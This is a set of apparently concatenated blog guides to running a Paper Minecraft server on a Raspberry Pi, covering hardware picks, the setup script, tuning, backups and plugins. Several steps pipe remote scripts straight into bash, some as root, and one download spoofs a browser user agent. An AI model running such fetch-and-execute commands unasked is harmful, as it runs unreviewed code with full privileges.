an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* For a SSD setup: SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Optional and meant to be used in place of SSD.  This is the best choice for performance but can be pricey.  For further explanation about the benefits see this article about MicroSD vs. Solid State on the Raspberry Pi) For a MicroSD setup: SanDisk Extreme A1* The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* Raspbian Lite Minecraft Server Setup Script I highly recommend using Docker over the standalone version for most people. Installing Docker is as simple as sudo apt install docker.io. There are 3 Docker options available: The Docker version that has Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition such as on iOS, Android, and console to connect)The Docker version that runs the Purpur Minecraft server with Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition to connect)The Docker version that only includes the Paper Minecraft server (the same as this standalone version) SSH into your Raspberry Pi and type/paste the following commands: curl https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh | bash This will start the server and configuration setup process. It will ask you some questions on how you want to configure the server and then automatically download, setup and start the server. Follow the Minecraft Server setup script in-depth guide here for a walkthrough. … and we’re done!  The Minecraft server is now in the folder “minecraft”.  To start the server type: cd minecraft ./start.sh The server will start in the background using the screen application.  To view the console type: screen -r minecraft From this console you can issue any command to the Minecraft server.  The most important one you should know is the command to safely stop the server.  This will save all players and states which is simply “stop” without the quotes.  To get out of the console without closing the server press Ctrl+A and then Ctrl+D.  This will minimize the screen session and put you back in your main console session.  The screen session will continue to run even if you disconnect from your SSH session to your Pi! For a more in depth guide/walkthrough of the installation script check out this post covering the setup script in depth. Pi Specific Performance Optimizations: Storage and GPU Memory The most important optimization you can make is high performance storage.  Read my Raspberry Pi Storage Benchmarks article to see why some storage mediums are over 1000% faster for I/O which is the most critical factor for a Raspberry Pi Minecraft server.  You can also use USB adapters for mSATA SSDs (cheap on eBay) or a USB to SATA cable* if you have a 2.5″ older SSD. If you are going to use MicroSD anyway you must use a high performance MicroSD card and overclock your SD card reader to obtain the best performance.  It is normally 50hz to ensure compatibility with the cheap low quality cards but goes all the way up to 100hz.  Storage speed is a major bottleneck on the Pi and this increases your read/write speeds.  The second most important optimization is setting your GPU to only use 16mb of RAM.  Since RAM is at a premium on the Pi it needs need as much as possible (64 MB is used by default).  This is all done in the Raspberry Pi’s /boot/config.txt file.  Type: sudo nano /boot/config.txt Then place these lines at the bottom of your config.txt file: dtparam=sd_overclock=100 gpu_mem=16 Now restart your Pi using sudo reboot That’s it!  If your Pi won’t boot up after doing the SD card overclock don’t panic.  Just put the SD card in any computer and remove the line dtparam=sd_overclock=100 from boot.txt.  You can do it from Windows using notepad or any other text editor on any OS as the boot partition is always visible. If you are using a older Raspberry Pi or a Raspberry Pi Zero then you may want to overclock it as well for smooth performance in game.  My favorite guide for overclocking older Raspberry Pis is located at the one and only RetroPie project wiki page located here.  The CPU and memory overclocking is going to be the most beneficial. Minecraft Optimizations – The Timings Tool If you are using an older Pi or have more than a few players using the server you may need to do some optimizations.  The most important thing to understand about optimizing your Minecraft server is to understand what is slowing it down.  There is an extremely useful tool built into the Paper Minecraft server called timings.  In the intro to this post I posted a picture of the graphs from this report. To start the timings measurements open up your Minecraft console with the screen -r minecraft command like I covered earlier.  Once in the Minecraft console type: timings on The longer you take timings the better insight you will get into what is slowing down your server.  It is best to play as you normally would when taking these timings so you are taking accurate measurements.  To generate the report type the following: timings report This will give a link to paste in a web browser to view an incredibly detailed report. Correctly Interpreting Timings Detailed timings broken down by category There are several different views available.  It is important not to look only at the “Lag” category but also view the “All” category.  If you only look at “Lag” you’re only seeing part of the picture.  This is useful for identifying major “spikey” slowdowns but not the overall performance of the server.  Check the “All” tab and toggle between total, average and count to understand how your server is performing. In this example we can see some of the more expensive operations on my server are entities and chunks.  Entities are monsters/animals/items/villagers/etc.  Chunks are the map itself.  If you are doing heavy exploring on a new server you may see very large numbers for chunks.  This is due to the Pi generating them and storing them on the SD card (slow).  If you are spending lots of time in villages or fighting monsters the entities may be high. Applying Optimizations If you are not getting good performance and you have ran the timings tool here are some of the usual suspects to look for and possible optimizations to apply: Be careful with mods/plugins – This is one of the most frequent causes of poor performance. Some mods massively increase the load on the server. The best way to find which plugin is doing this is to disable all plugins and enable them one at a time until you see the performance issues and have isolated the problem plugin.Check config files – Configuration files are server.properties, paper.yml, spigot.yml, and bukkit.yml.  If unsure about what a setting does google it or consult the documentation.  If you screw up your configuration unintentionally then you can revert it to default by removing the file and relaunching the server.Lower your entity counts/ranges – Type nano bukkit.yml and in the file you will find spawn-limits: monsters: 70 animals: 15 and several others.  You may lower these numbers to limit the number of entities by type.  Type nano spigot.yml and you will find entity-activation-range and entity-tracking-range.  These control how close you have to be before the server starts making monsters see/track you.Disable the Nether and The End – In server.properties.  In the sample report you will see the Nether uses CPU cycles (we never went there).  When/if your group is ready to go to the Nether you can turn it back on in the properties to re-enable it.  You may disable “The End” in bukkit.yml by setting allow-end: false.Lower the view distance – This should be a last resort but on older Pi hardware or if you want more than a handful of players this is an option.  It will increase performance dramatically because it reduces chunk loading/generation.  Since chunk loading/unloading/generation is very I/O intensive the Pi is not very good at it.  Change it in server.properties and spigot.yml. Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on pibenchmarks.com you can compare your score with others and make sure the drive is performing correctly! Conclusion The Raspberry Pi performs just fine as a Minecraft server for under 5 players. You can have multiplayer in what feels and runs like a single player experience! For optimization the most important things you can do are Pick the right storage (SSD or high quality Micro SD) to be able to keep up with block generationRun your timings! This will tell you exactly what is slowing your server downKeep plugins to a minimum to prevent swamping the Raspberry Pi with extra instructionsIf all else fails lower the view distance #### Raspberry Pi Minecraft Server Setup Script w/ Startup Service Minecraft 1.17 – Caves and Cliffs Update Minecraft 1.17 (Caves and Cliffs Update) is here! This script and guide are written to help you get a great performing Raspberry Pi Minecraft server up and running in only a few minutes. This is the standalone version. It runs on most flavors of Linux and should work on most architectures as well (arm, aarch64, etc.). I highly recommend using Docker over the standalone version for most people. Installing Docker is as simple as sudo apt install docker.io. There are 3 Docker options available: The Docker version that has Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition such as on iOS, Android, and console to connect) The Docker version that runs the Purpur Minecraft server with Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition to connect) The Docker version that only includes the Paper Minecraft server (the same as this standalone version) It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesRequirementsRecommended GearChoosing a Linux Distribution64-bit vs 32-bitTested DistributionsMinecraft Server InstallationCheck Java VersionFirst RunBenchmarking / Testing StorageChanging Minecraft Server VersionChanging Minecraft Client VersionStart, Stop and Restart ServerAutomatic BackupsScheduled Daily RebootsInstalling Mods / PluginsReconfigure / Update ScriptsPort ForwardingWired vs. WirelessUpgradingDowngradingTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VVersion HistoryOther Resources Features Sets up fully operational Minecraft server in a couple of minutes Runs the highly efficient “Paper” Minecraft server Raspbian / Ubuntu / Debian distributions supported Installs and configures OpenJDK 18 Sets up Minecraft as a system service with option to autostart at boot Automatic backups to minecraft/backups when server restarts Updates automatically to the latest version when server is started Easy control of server with start.sh, stop.sh and restart.sh scripts Optional scheduled daily restart of Pi using cron Requirements Raspberry Pi model with 1 GB of RAM or higher. Basically a Raspberry Pi 2B or higher. (No Zero unfortunately, 512MB is not enough RAM to do this, I’ve tried!) Headless Linux distribution such as Raspbian Buster Lite, Ubuntu Server 18.04.2, or any Debian based distribution (GUI distros can be used at the expense of available RAM and server performance) Solid state drive highly recommended but not required. You can get a SSD setup on a Pi for less than most Micro SD cards cost. See my article here for details If using MicroSD you want to be using a high range card otherwise you will really be hurting on IO when the server is reading/writing chunks of terrain! Click here for MicroSD card benchmarks/recommendations. Recommended Gear Minecraft Java for PC / Mac / Linux* Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SD Card Setup: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Choosing a Linux Distribution The most important consideration when choosing which flavor of Linux to run the server on is simple: available RAM. Headless Linux distributions such as Raspbian Lite that don’t have a built in GUI have Our biggest obstacle when running a Minecraft server on the Pi is available RAM since 1 GB is extremely low for this type of server. To have a playable experience you should not be running anything else on the Pi so all memory is available to be used. After testing on many different distros I am finding Raspbian Lite and Ubuntu Server 18.04.4 32-bit to be the best choices. These distributions come with very few background processes and have rock solid support and performance. 64-bit vs 32-bit There’s a lot of discussion in the Pi world about the up and coming aarch64 64-bit distributions vs. armhf 32-bit distributions. They have been and continue to improve dramatically. There are already use cases where 64-bit is far superior such as video encoding, advanced compression, etc. So how about for running a Minecraft server? I have been testing extensively with Ubuntu Server 18.04 64-bit and the Debian Buster 64-bit. I have consistently had worse performance and stability than on 32-bit versions of the exact same distros. But how can that be? It’s certainly true that Minecraft servers benefit in CPU performance from 64-bit versions of Java. The answer is actually incredibly simple: memory. The server running on a 64-bit Java Virtual Machine uses a minimum of about 100 MB more memory. This makes perfect sense because 64 bits > 32 bits by definition! The Raspberry Pi’s 1 GB of memory has been the biggest obstacle for this project since the very beginning. Back when I first went into the Paper Minecraft developer IRC room and told them what I was trying to do I was practically laughed out of the chat room for even thinking of trying this. Most Minecraft server branches including vanilla can’t even start on the Pi because of the limited memory. For a dedicated Minecraft server on the Pi I very highly recommend staying 32-bit. You will have more available memory which means it will be much faster and more stable. Since memory is our bottleneck the increased CPU throughput does not help us and losing *any* of our memory is disastrous! If the Raspberry Pi 4 has more memory like we all expect it to this recommendation will change completely. Even 2 GB of memory would make the extra memory that 64-bit uses a non-issue and the CPU throughput performance gains very desirable. For now though stay 32-bit for a Minecraft server! Tested Distributions Raspberry Pi OS – It’s Raspbian. It has very low memory usage and is the official distribution of the Raspberry Pi. The server runs very well on this. It’s overall the best choice. The Buster release has made OpenJDK 11 available on it so it’s no longer behind the rest of the distros. Ubuntu Server 18.04 / 20.04 – Ubuntu Server is my favorite Linux distro. I use it for nearly all of my projects. The performance of the 32-bit armhf version is on par with Raspbian. It’s a great choice! Click here for my Ubuntu setup guide for Raspberry Pi. The 64-bit version is not a fantastic choice and not recommended because of the higher memory usage. Stick with 32-bit and you’ll be a happy camper with Ubuntu Server. Debian Buster 64-bit – Debian is the distribution Raspbian is based on. This version is a preview of Debian “Buster” which is the successor to Stretch and will be the next version of Raspbian when it is released. I like this distribution but it is currently still unofficial and unsupported. Performance and stability was less than Ubuntu and Raspbian. Minecraft Server Installation SSH into your Raspberry Pi and paste the following commands: curl https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh | bash The script will setup the Minecraft sever and ask you some questions on how to configure it. I’ll explain here what they mean. “Enter amount of memory in megabytes to dedicate to the Minecraft server” – The amount of memory that will be dedicated to the Minecraft server. The more the better, but you must leave some room for the operating system background processes. If you exceed the total available memory either the server will crash or the Pi will get incredibly slow to the point where your SSH session will start timing out. The setup script will make a recommendation to you which is your available memory – 10% for headroom. If you aren’t sure what to put just go with the recommended amount. Note for Raspberry Pi 4: Currently on 32-bit Raspbian 2700 MB is the maximum that Linux will let us allocate in a 32 bit environment. The script has been updated to check for this as the server will not start if it is set over 2700M on a 32 bit server. 64 bit operating systems will be able to allocate all available memory as Pi 4 support rolls out for them. “Start Minecraft server at startup automatically (y/n)?” – This will set the Minecraft service to start automatically when your Pi boots. This is great because whenever you want to play you can just plug it in and go without having to SSH in. “Automatically reboot Pi and update server at 4am daily (y/n)?” – This will add a cron job to the server that reboots the Pi every day at 4am. This is great because every time the server restarts it backs up the server and updates to the latest version. See the “Scheduled Daily Reboots” section below for information on how to customize the time or remove the reboot. That is it for the setup script. The server will finish configuring and start! Check Java Version Sometimes if you have multiple versions of Java installed the wrong version of Java will be selected as the default. If the server didn’t start check that the right version of Java is selected with this command: sudo update-alternatives --config java If you get the message “update-alternatives: error: no alternatives for java” then you only have one version of Java installed and can skip to the next section. If you are presented with a list of choices then your machine has multiple versions of Java installed. It will look like this: update-alternatives: warning: /etc/alternatives/java has been changed (manually or by a script); switching to manual updates only There are 2 choices for the alternative java (providing /usr/bin/java). Selection Path Priority Status ------------------------------------------------------------ 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 auto mode 1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 manual mode 2 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081 manual mode You will usually want to just select the newest version of OpenJDK that is listed so you would type 0 and press enter. In some cases on some platforms you may want to switch to the official Oracle JDK although I strongly recommend sticking with OpenJDK! First Run The first time you run the server it will take a little longer to start since it is generating all the server data. If you try to log in before it fully starts you will get a connection timeout error. Watch for the line: “Timings Reset”. This is the last line that prints when the server is ready to rock and roll. At this point you will be able to connect successfully. The very first time you log into the server it will be slow for about 1-2 minutes. This is because since nobody has logged in before the server has to scramble to generate all the chunks within your view distance (10 by default) and send them to you/store them. During this time you may not be able to see very far and if you try to destroy blocks there will be noticeable lag from when they break to when they actually disappear. Don’t panic! This will go away within a couple of minutes as the Pi catches up with all the first time login stuff it needs to do. Performance stabilizes and it will feel very much like the offline experience after that. If you are hosting for a few friends I’d recommend logging in for the first time right after you set up the server instead of having several people nail a blank server at first startup. This gets it out of the way and when everyone is ready to log in the starting area chunks will be fully fleshed out and the Pi just has to read them. It’s an order of magnitude faster for the Pi to read chunks than to generate and store chunks. In my experience after the initial login exploring new parts of the server doesn’t cause any lag even though new chunks are being generated. The reason for this is that when you’re walking it’s really only having to generate a new chunk as you get close to the border instead of a huge square area of chunks in all directions and all at the same time like during the first login. Benchmarking / Testing Storage If you’re getting poor performance or just want to verify everything is working correctly you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on pibenchmarks.com you can compare your score with others and make sure the drive is performing correctly! Changing Minecraft Server Version To override the default version let’s grab a copy of the script locally: wget https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh nano SetupMinecraft.sh Now make these changes from inside nano: Version="1.16.5" AllowLocalCopy="1" Now press Ctrl+X to exit nano and answer “y” to save. Now let’s run the script: chmod +x SetupMinecraft.sh ./SetupMinecraft.sh And the setup will run and install the version of Minecraft you set at the top of the file! Changing Minecraft Client Version If you are wisely running the “stable” branch instead of the “development” branch there will be times where you need to select the version of Minecraft to run otherwise you will get an error message that your client is outdated when you try to log in. Fortunately this is very easy. Open up the Minecraft launcher and instead of hitting “Play” choose “Launch Options” in the menu at the top of the window. It will look like this: Minecraft Launcher “Launch Options” Tab Click the “Add new” button and pick which version you want to add. You can optionally gave it a name or just click save. Now when you go back to the “News” tab you will see a dropdown arrow where you can select which version of Minecraft you want to play! Start, Stop and Restart Server The server can be started, stopped and restarted two different ways. You can use the provided scripts in the Minecraft folder or you can use systemctl. Here are the commands: cd ~/minecraft ./start.sh ./stop.sh ./restart.sh -OR- sudo systemctl start minecraft sudo systemctl stop minecraft sudo systemctl restart minecraft Automatic Backups The server backs up each time it starts. This helps you recover easily if something goes wrong. This system works best if you configured the server to restart daily since it means you will have a backup every day. To access these backups type: cd ~/minecraft/backupsls When a backup is made the filename will be the date and time the backup was taken. If you need to restore a backup it’s very easy. Substitute the timestamp in my example to the backup you want to roll back to. Type: cd ~/minecraft ./stop.sh rm -rf world world_nether world_the_end tar -xf backups/2019.02.15.22.06.30.tar.gz ./start.sh Your world has now been restored! It’s a good idea to download these backups off the Pi periodically just in case the Pi’s storage fails. Scheduled Daily Reboots The daily reboots are scheduled using cron. It’s very easy to customize the time your server restarts. To change the time that the server restarts type: crontab -e This will open a window that will ask you to select a text editor (I find nano to be the easiest) and will show the cronjobs scheduled on the Pi. The Minecraft one will look like the following: 0 4 * * * /home/ubuntu/minecraft/restart.sh There are 5 fields here. The default restart time is set to reboot at 0 minutes of the 4th hour of the day (4 AM). The other 3 fields are left as * to represent every day of every month. Make any desired changes here and press Ctrl+X to exit nano and update the cronjob. To remove the daily reboot simply delete the line and save. Installing Mods / Plugins The server supports plugins that are compatible with Bukkit / Spigot / Paper. A popular place that you can get plugins is at dev.bukkit.org where there are thousands of them! To install a plugin you simply download the .jar to the minecraft/plugins folder and restart the server. For example, WorldGuard is a very popular plugin that lets you add protection to different areas of your server. To install this plugin on our Minecraft server we would use the following commands: cd ~/minecraft/plugins curl -H "Accept-Encoding: identity" -H "Accept-Language: en" -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.12.212 Safari/537.36" -o worldguard.jar https://dev.bukkit.org/projects/worldguard/files/latest sudo systemctl restart minecraft The reason the middle line is so long is that “robots” (roughly anything that isn’t a web browser being used by a user in this context) including scripts and utilities are blocked by the Bukkit server. The extra parameters we’re including in this line will add the location (-L) flag as well as a user agent and an identity / language header which will allow us to fetch the files without getting a 403 forbidden error. Make sure to change “-o worldguard.jar” (second to last parameter) and the URL (very last parameter) to match the project you want to download. The server will restart and the plugin will be installed. It’s that simple! To use the plugin refer to the documentation on the plugin download page to find out which commands you use to configure/interact with it. Warning: be advised that plugins are the #1 issue for performance degradation on Minecraft servers. This isn’t because all plugins are bad. Some plugins are coded very inefficiently or perform features that require a lot of hooks in the code. You should be careful about what plugins you install on the server and if you start having bad performance disable your plugins one by one until you find the culprit! Reconfigure / Update Scripts The scripts can always be reconfigured and updated by downloading the latest SetupMinecraft.sh and running the installer again. It will update all of the scripts in the Minecraft directory and reinstall the startup service for you. Running SetupMinecraft.sh again will also give you a chance to reconfigure options such as the memory dedicated to the server, daily reboots, starting the server on boot, etc. This will not overwrite your world or any other data so it is safe to run! Port Forwarding If everyone on your server is on the same LAN or WiFi network as you then you don’t need to do this. If you want people to connect from outside your local network then you need to set up port forwarding on your router. The process for this is different for every router so the best thing to do is just look at your router and find the model # and put that in google with port forwarding for easy instructions on how to do it for your specific router. You want to forward port 25565. The type of connection is TCP if your router asks. Once you do this people will be able to connect to your Minecraft server through your public IP address. This is different than your local IP which is usually a 192.x.x.x or 10.x.x.x. If you don’t know what that is just go to google and type “what’s my ip” and Google will kindly tell you! Wired vs. Wireless Going with an ethernet (wired) connection is going to be faster and more reliable. There’s so much wireless traffic and other interference in the air that running your server on WiFi is not recommended. Even if it is working great 99% of the time it can ruin your experience very quickly if the WiFi drops for a couple of seconds and you get blown up by a creeper! All that being said, the server works fine on wireless. The script will work fine as is with a wireless connection. Upgrading PLEASE BACK UP YOUR SERVER FIRST! The server makes automated backups by default for you in the backups folder but I recommend you back up the entire server folder yourself (basically the entire minecraft folder) any time you attempt to upgrade or downgrade. If you need to roll back to older versions it won’t work without a backup from that version or older! The easiest way to upgrade an installation is to download the latest SetupMinecraft.sh and run it. This will automatically upgrade you to the latest version. Upgrading and downgrading to versions that aren’t the default the script chooses is pretty simple. Simply change the Version line at the top in the SetupMinecraft.sh script: #!/bin/bash# Minecraft Server Installation Script - James A. Chambers - https://jamesachambers.com# More information at https://jamesachambers.com/raspberry-pi-minecraft-server-script-with-startup-service/# GitHub Repository: https://github.com/TheRemote/RaspberryPiMinecraft# Minecraft server versionVersion="1.16.1" Edit this file in your favorite text editor (you can use nano or vi on the Pi like nano SetupMinecraft.sh) and change the Minecraft version to what you want. Downgrading PLEASE RESTORE USING A BACK UP FROM THE VERSION YOU ARE DOWNGRADING TO If you are having problems on a newer version of Minecraft and want to downgrade you can do so using a complete backup of your server before you ran it on a newer version. The reason you can’t take server data that has been touched by a version such as 1.17 and go back to 1.16 is that the new version adds all sorts of new data types/structures for the new content into your server data files. If you try to roll back the old versions of the Minecraft server will not understand these data types since they didn’t exist in that version and will crash. As long as you use a backup for your server files from that version (or older) it’s as simple as changing the version in SetupMinecraft.sh just like I show in the “Upgrading” section. You can upgrade any old version of Minecraft to any version, but again make sure you have a backup first as it is a one way street and you will need that backup if you want to roll back! Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. The fix for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. Version History To view the version history check out the GitHub README here: Update History – RaspberryPiMinecraft – Official GitHub Page Other Resources If you’re trying to set up SSD / USB storage booting check out my Raspberry Pi USB booting setup guide For benchmarks and recommendations on the fastest storage drives/adapters for the Raspberry Pi check out my 2021 Storage Roundup If you’re having firmware issues and need to update/restore your firmware check out my Raspberry Pi firmware guide here #### Raspberry Pi Minecraft V1.12 Server – Excellent Performance Guide The Minecraft world of color update 1.12 has finally arrived! This walk through will show you how to set up a playable Minecraft server running on the Raspberry Pi. ATTENTION:  Newer guide is available! View the updated version here I highly recommend using Docker over the standalone version for most people. Installing Docker is as simple as sudo apt install docker.io. There are 3 Docker options available: The Docker version that has Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition such as on iOS, Android, and console to connect) The Docker version that runs the Purpur Minecraft server with Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition to connect) The Docker version that only includes the Paper Minecraft server (the same as this standalone version) I have read many tutorials on Google about how to set up a “great performing” Minecraft server on your Raspberry Pi and have been sorely disappointed by the results. Most tutorials are very outdated and tell you to turn your view distance all the way down to 4 (meaning you can’t see very far), or turn your entities (monsters/animals) down to settings so low that they hardly spawn or you can walk right up next to them before you see you.   After much research, trial and error, and spending time in the #Paper IRC channel talking to the smartest people in the Minecraft server configuration world I have been able to get the Minecraft Server (popular Paper fork based on Spigot) to run at vanilla settings (view distance 10, no reduction in entity settings). This means the server is suitable for full survival mode just like a regular vanilla Minecraft server. Should you try this? Let me answer a big question right off the bat. Should you buy a Raspberry Pi just to run it as a Minecraft server? Absolutely not. If you just want to run a Minecraft server, especially one with more than a few people, you are much better off buying a realms subscription or one of the many dedicated Minecraft server options. The price of the Pi would get you approximately 6 months of a Realms server and probably much more from private hosts. You may also be better off just running the server off your own computer because your CPU and RAM in a desktop class machine is almost certainly going to be better than a Pi.  However, if you already have a Pi just laying around or want to use it to learn a bunch of cool new stuff like setting up a headless Linux server on an embedded device then by all means proceed. It’s a great setup to play Minecraft with a few friends. Second question: Do you have fast Raspberry Pi storage? Because this tutorial will overclock your SD port from 50hz to 100hz. (Update: Since I wrote this article solid state storage has gone down so much in price that it makes much more sense!) If you have a good SanDisk A1 Class 10 card you should have no problems. However, although the risk is minimal, there is some risk of SD card corruption if you don’t have a high quality card. I am not responsible if your card dies,your Pi explodes, your house gets hit by a meteorite, or anything else that happens! This is solely at your own risk! These are very common overclocks though and the risk is minimal, but you have been warned! If you are prepared to continue, then read on! Requirements: Raspberry Pi with 1GB of memory or higher required. The 1GB of memory in these boards is still barely enough to run the server and can only support a few people. The 4B 2GB and 4GB models have much more breathing room. If you are using a 512MB version of the Pi (like a Raspberry Pi Original Model B/B+ you are not going to get the performance necessary to deliver a stable Minecraft experience without major sacrifices that will be outside the scope of this guide. SSD or *Highly* ranked Micro SD card (SanDisk Extreme or other highly ranked card. Here are some benchmarks of SD cards on Raspberry Pi for comparison. It is extremely important you do not skimp on this as IO performance is the biggest bottleneck in the Raspberry Pi when running a Minecraft server) Latest Raspbian Lite image (currently Buster) https://www.raspberrypi.org/downloads/raspbian/ We need the Lite version because ALL of the Pi’s resources will need to be devoted to running the server. This is command line only and we cannot use an X environment because we need all available memory for the Minecraft server A highly rated power supply capable of providing more than enough of the power we need. Do not plug this into a USB hub unless you know it is powered and has more than enough power for the Raspberry Pi. You also need a good power cable. The official Raspberry Pi power supply or the Canakit power supply (linked below in my configuration) will suffice. Minecraft “Paper” Server Ethernet connection to your router.  Wireless is *not recommended* for a dedicated server or any kind!  Wireless adds so much overhead not to mention signal strength issues, interference with all nearby access points, etc.  Unless you have absolutely no choice you should directly wire the PI to your router with an ethernet cable.  If you have a Pi3 the wireless chip only supports wireless N and not wireless AC on the broader bandwidths.  Even if you have a dongle that does support a wireless AC connection it will slow down your Pi by adding overhead to the USB bus which is an extremely limited resource on the Pi because the Pi basically shares that bus with everything else and we need those lanes as clear as possible. My Configuration Recommended Gear Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Or for a compact setup: SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real 